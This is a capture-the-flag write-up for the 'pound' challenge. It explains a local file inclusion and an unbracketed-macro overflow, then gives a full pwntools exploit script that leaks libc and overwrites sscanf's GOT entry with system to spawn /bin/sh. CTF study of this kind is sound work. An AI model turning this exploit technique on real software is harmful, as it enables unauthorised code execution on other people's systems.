The challenge is composed of two parts. A python wrapper and pound binary.
Local File Inclusion vulnerability exists in the python wrapper and you can easily get the source code of pound by entering 1 followed by ../pound.c. (Of course, the name of the flag is not ../flag.txt or something predictable)
host_bfc6a768d1cccc49f1cd4b880bfdac9c.py
pound.c
In the second menu, you get to input two numbers, L1 and L2, the number of state's citizens. It gets compiled as a macro. However, the wrapper does not check whether the value of L1 and L2 is solely composed of digits. So we can put characters like N, which is defined as const int N=1024 in pound.c.
In propagate_forward() function, length_diff is defined as L2 - L1. If there is any way that makes length_diff bigger than the real difference, we may overwrite variables beyond s2_citizens, like announcement.
When learning C programming, we learnt that we must ALWAYS ENCLOSE EVERY VARIABLE IN BRACKETS using define macro. However, pound.c does not obey the rule so if we put L1=L2=1+N, L2-L1 becomes 1+N-1+N=2N when real difference is 0. By the time it reaches second for statement inside propagate_forward(), i is N+1 and length_diff is 2N so it starts overwriting 2N=2048 bytes starting from s1_name to announcement and so on. Overwrite announcement with sscanf@LIBC and print_states() will leak the address, and create announcement will overwrite sscanf@GOT. Payload would be as follows.
'z'x510 (state name 1)
'z'x510 (state name 2)
1
2147483647
2
134524972 (sscanf@GOT)
0 (Leaks memory)
2
64 (fill announcement_length to avoid announcement being overwrited inside create_announcement())
4
16
system@libc
4
/bin/sh
from pwn import *
context.log_level='debug'
s = remote("pound.pwning.xxx",9765)
#s = remote("localhost",8006)
raw_input()
print s.recvuntil("3. Quit")
s.sendline("2")
print s.recvuntil("State 1 Size:")
s.sendline("1+N")
print s.recvuntil("State 2 Size:")
s.sendline("1+N")
print s.recvuntil("first state:")
s.sendline("z"*510)
print s.recvuntil("second state:")
s.sendline("z"*510)
print s.recvuntil("Enter Your Choice: ")
s.sendline("1")
print s.recvuntil("Enter the amount to set the states in: ")
s.sendline("2147483647")
print s.recvuntil("Enter Your Choice: ")
s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("134524972") # sscanf@got
print s.recvuntil("Enter Your Choice: ")
s.sendline("0")
x = s.recvuntil("Enter Your Choice: ")
import re
sscanf_libc = u32(re.findall("PSA: (.+)", x)[0][:4])
system_libc = sscanf_libc - 0x15f10
print hex(sscanf_libc), hex(system_libc)
s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("64") # sscanf@got
print s.recvuntil("Enter Your Choice: ")
s.sendline("4")
print s.recvuntil("Enter the length of your announcement: ")
s.sendline("16\n"+p32(system_libc))
print s.recvuntil("Enter Your Choice: ")
#s.sendline("4")
#print s.recvuntil("Enter the length of your announcement: ")
s.sendline("/bin/sh")
s.interactive()
FLAG: PCTF{pr3pr0cess0rMacr0s@areFuture}